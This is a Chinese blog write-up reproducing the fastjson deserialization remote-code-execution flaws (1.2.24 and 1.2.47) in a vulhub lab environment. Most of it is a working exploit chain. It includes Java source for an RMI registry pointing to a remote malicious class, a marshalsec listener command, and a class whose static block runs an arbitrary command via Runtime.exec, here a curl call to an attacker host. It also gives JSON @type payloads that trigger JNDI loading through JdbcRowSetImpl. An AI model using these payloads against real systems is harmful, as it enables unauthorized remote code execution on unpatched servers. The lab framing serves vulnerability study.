fastjson反序列化漏洞复现

0x00前言

fastjson是阿里的开源JSON解析库,被爆出两个远程命令执行漏洞,为2017年1.2.24版本和2019年1.2.47版本。

0x01环境准备

使用vulhub上的环境,在github上的vulhub下载下来,进入fastjson漏洞环境目录,执行以下命令。

image.png

然后访问http://ip:8090看见json返回数据,说明环境启动成功。
还需要开启一个rmi server,用来加载远程恶意类。rmi代码如下

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class server {
    public static void start() throws
            AlreadyBoundException, RemoteException, NamingException {
        Registry registry = LocateRegistry.createRegistry(9999);
        String remote_class_server = "http://ip:port/";//恶意类远程地址
        Reference reference = new Reference("Exploit", "Exploit", remote_class_server);//第一个参数为恶意类名,第二个为factory。
        //reference的factory class参数指向了一个外部Web服务的地址
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("Exploit", referenceWrapper);

        System.out.println("Listener on 9999");
    }
    public static void main(String[] args) throws AlreadyBoundException, RemoteException, NamingException{
        start();
    }
}

也可以用marshalsec项目开启rmi服务。将其下载后,用maven编译即可使用。
开启命令,在9999端口监听。

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://ip:port/#Test" 9999

看见如下说明开始监听


image.png

恶意类如下,将其编译后放到Web服务下,确定能访问http://ip:port/Test.class。

import java.lang.Runtime;
import java.lang.Process;

public class Test {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"curl", "http://ip:2334/"};//这里写需要执行的命令
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

0x02攻击

poc如下

//1.2.24以下版本
{
    "a":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://ip:9999/Test",
        "autoCommit":true
    }
}
//1.2.47以下版本
{
   "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://ip:9999/Test",
        "autoCommit":true
    }
}

请求搭好的环境,将get改为post,并且将修改Content-Type: application/json


image.png

发送请求,可以看到rmi服务收到了响应,加载远程恶意累Test.class。


image.png

然后可以看到监听的2334端口接收到了请求,说明服务器成功执行curl ip:port命令。
image.png

你可能感兴趣的:(fastjson反序列化漏洞复现)